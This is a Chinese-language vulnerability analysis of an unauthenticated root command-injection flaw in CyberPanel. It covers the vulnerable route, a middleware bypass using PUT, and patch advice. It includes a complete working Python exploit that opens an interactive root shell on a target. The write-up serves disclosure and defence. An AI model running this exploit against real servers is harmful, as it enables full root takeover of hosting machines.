CyberPanel 中的免认证 Root RCE 漏洞:漏洞利用深度分析
对 CyberPanel 中一个免认证 Root RCE 漏洞的技术分析,包括已确认的利用路径、所调查的组件以及研究方法得出的发现。
引言
本文将深入剖析 CyberPanel 中一个远程代码执行(RCE)漏洞的发现与利用过程。CyberPanel 是一个基于 Django 的 Web 应用,用于管理 FTP、SSH、SMTP 等网站托管服务。这一严重缺陷允许未经身份验证的攻击者以 root 用户身份执行任意命令,带来了重大的安全隐患,尤其考虑到 CyberPanel 在 VPS 服务器上的广泛使用。
我们的研究发现,许多机器已经遭到入侵,下图展示了受影响系统上的勒索软件,正是对此的佐证。

最后,本文的灵感来自 DreyAnd 所开展的研究,该研究着重阐述了与此漏洞相关的技术细节和绕过机制。
截至 2024 年 10 月 30 日的更新
已分配两个 CVE,CyberPanel 维护者也发布了一则安全公告。补丁提交可在此处查看。
-
CVE-2024-51567:
- 影响
databases/views.py中的upgrademysqlstatus()。 - 于 2024 年 10 月被 PSAUX 在野利用。
- 问题源于绕过
secMiddleware(仅对 POST 请求生效),并向statusfile属性注入 shell 元字符,从而实现未经身份验证的命令执行。 - 影响 2.3.6 及之前版本以及未打补丁的 2.3.7。
- 影响
-
CVE-2024-51568:
- 通过
ProcessUtilities.outputExecutioner()汇聚点中的completePath参数触发的命令注入漏洞。 - 经由
/filemanager/upload导致未经身份验证的 RCE。 - 通过向文件管理器上传路由提供的 shell 元字符进行利用。
- 影响 2.3.5 之前的版本。
- 通过
漏洞概览
- 易受攻击的组件:CyberPanel
v2.3.6中的upgrademysqlstatus路由。 - 影响:以 root 权限实现未经身份验证的 RCE。
- 漏洞利用类型:0-click、免认证的远程代码执行。
- 根本原因:身份验证检查不充分,以及对 subprocess 命令的不安全使用。
代码走查与分析
易受攻击的 CyberPanel 版本中的 upgrademysqlstatus() 路由为理解攻击面是如何被识别出来的提供了关键线索。让我们分析该路由,以理解其底层缺陷。
易受攻击的函数:upgrademysqlstatus()
def upgrademysqlstatus(request):
try:
data = json.loads(request.body)
statusfile = data['statusfile']
# Unsafe execution using user input
installStatus = ProcessUtilities.outputExecutioner(f"sudo cat {statusfile}")
if "[200]" in installStatus:
ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 1}
return HttpResponse(json.dumps(response))
elif "[404]" in installStatus:
ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 0}
return HttpResponse(json.dumps(response))
else:
response = {'abort': 0, 'error_message': "None", 'requestStatus': installStatus}
return HttpResponse(json.dumps(response))
except KeyError:
return redirect(loadLoginPage)
upgrademysqlstatus 函数存在的问题:
-
缺少身份验证检查:
upgrademysqlstatus路由无需任何身份验证即可访问。通常,敏感路由应通过会话令牌或中间件检查来验证用户身份。
-
命令注入:
- 用户可控的输入(
statusfile)被直接拼接进一个 subprocess 命令(sudo cat {statusfile})。 - 该函数以
sudo权限执行任意 shell 命令,从而导致命令注入。
- 用户可控的输入(
-
绕过中间件:
- 该应用使用
secMiddleware来对 POST 请求进行清洗。然而,该中间件仅在请求方法为 POST 时才检查命令注入。 - 这使得攻击者可以通过使用非 POST 方法(例如 PUT 或 OPTIONS)来绕过该中间件,同时仍通过
request.body提供恶意载荷。
- 该应用使用
class secMiddleware:
HIGH = 0
LOW = 1
def get_client_ip(request):
ip = request.META.get('HTTP_CF_CONNECTING_IP')
if ip is None:
ip = request.META.get('REMOTE_ADDR')
return ip
def __init__(self, get_response):
self.get_response = get_response
...
if request.method == 'POST':
# Security checks are applied only here...
try:
data = json.loads(request.body)
# ...but ignored for non-POST requests.
...
漏洞利用与概念验证
本节演示如何通过绕过中间件并注入任意命令来利用该漏洞。
漏洞利用代码
下面的 PoC 演示了如何通过发送 PUT 请求来绕过中间件并注入命令,从而利用该漏洞。
import httpx
import sys
def get_CSRF_token(client):
"""Retrieve the CSRF token required for requests."""
resp = client.get("/")
return resp.cookies['csrftoken']
def pwn(client, CSRF_token, cmd):
"""Send the malicious command to the vulnerable route."""
headers = {
"X-CSRFToken": CSRF_token,
"Content-Type": "application/json",
"Referer": str(client.base_url),
}
# Command injection via statusfile parameter
payload = '{"statusfile": "/dev/null; %s; #", "csrftoken": "%s"}' % (cmd, CSRF_token)
# Bypass middleware by using PUT instead of POST
response = client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload)
return response.json().get("requestStatus")
def exploit(target, cmd):
"""Main exploit logic."""
client = httpx.Client(base_url=target, verify=False)
CSRF_token = get_CSRF_token(client)
stdout = pwn(client, CSRF_token, cmd)
print(stdout)
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url>")
sys.exit(1)
target = sys.argv[1]
while True:
cmd = input("$> ")
exploit(target, cmd)
用法
运行漏洞利用程序:
python exploit.py https://<target-ip>:8090
注入任意命令:
$> id
uid=0(root) gid=0(root) groups=0(root)
缓解措施与建议
为防止将来出现类似漏洞,建议采取以下步骤:
-
集中式身份验证中间件:
- 在全局层面而非单个路由层面实施身份验证检查。
-
跨方法的输入验证:
- 在所有 HTTP 方法上一致地应用输入验证。
-
避免直接执行命令:
- 使用诸如 Python 的
subprocess.run()之类的库,并对用户输入进行妥善清洗。
- 使用诸如 Python 的
-
最小权限原则:
- 除非绝对必要,否则避免以 root 权限运行服务。
-
如果您拥有 SSH 访问权限:
- 按照更新指南更新您的 CyberPanel。无需执行其他操作。
-
如果您没有 SSH 访问权限:
- 在某些情况下,您的服务商可能会限制对 22 端口的访问,这通常是由于服务器过载或遭到入侵攻击所致。
- 在这种情况下,请联系您的服务商并请求其启用 22 端口。恢复访问后,按照所提供的说明更新面板。
结论
CyberPanel 中的这个免认证 RCE 凸显了全面的身份验证、一致的输入验证以及对 subprocess 命令的安全处理的重要性。攻击者可以轻易利用细微的逻辑缺陷、绕过中间件,并将权限提升至 root,这表明被忽视的安全实践会带来何等毁灭性的影响。在补丁被完全集成进一个稳定版本之前,用户应立即应用该补丁并限制对易受攻击端点的访问。
标签:
RCE